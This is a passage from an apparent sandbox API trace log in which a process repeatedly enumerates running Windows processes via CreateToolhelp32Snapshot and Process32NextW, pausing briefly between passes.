(in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.218] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0252.218] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0252.219] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0252.220] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0252.220] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.221] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0252.222] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.223] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0252.223] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0252.224] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0252.225] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0252.226] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0252.226] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0252.227] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.228] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0252.228] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0252.519] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.520] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0252.520] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0252.521] CloseHandle (hObject=0x3a0) returned 1 [0252.521] Sleep (dwMilliseconds=0x1f4) [0253.159] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0253.201] Process32FirstW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0253.201] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0253.202] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0253.203] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.203] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0253.204] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0253.204] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0253.205] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0253.206] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0253.206] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0253.207] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0253.207] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.208] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.209] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0253.210] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.210] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.211] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.211] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.212] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.212] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.213] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.214] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.214] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.215] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.215] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.216] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.216] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0253.217] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0253.218] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0253.218] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0253.219] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0253.220] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.220] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0253.221] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.221] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0253.222] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0253.222] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0253.223] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0253.224] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0253.224] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0253.225] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.226] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0253.226] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0253.227] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.227] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0253.228] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0253.229] CloseHandle (hObject=0x394) returned 1 [0253.229] Sleep (dwMilliseconds=0x1f4) [0254.001] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0254.007] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0254.008] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0254.009] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0254.009] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.010] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0254.011] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0254.012] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0254.013] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0254.014] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0254.015] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.016] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0254.017] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.018] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.018] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.019] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.020] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.021] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 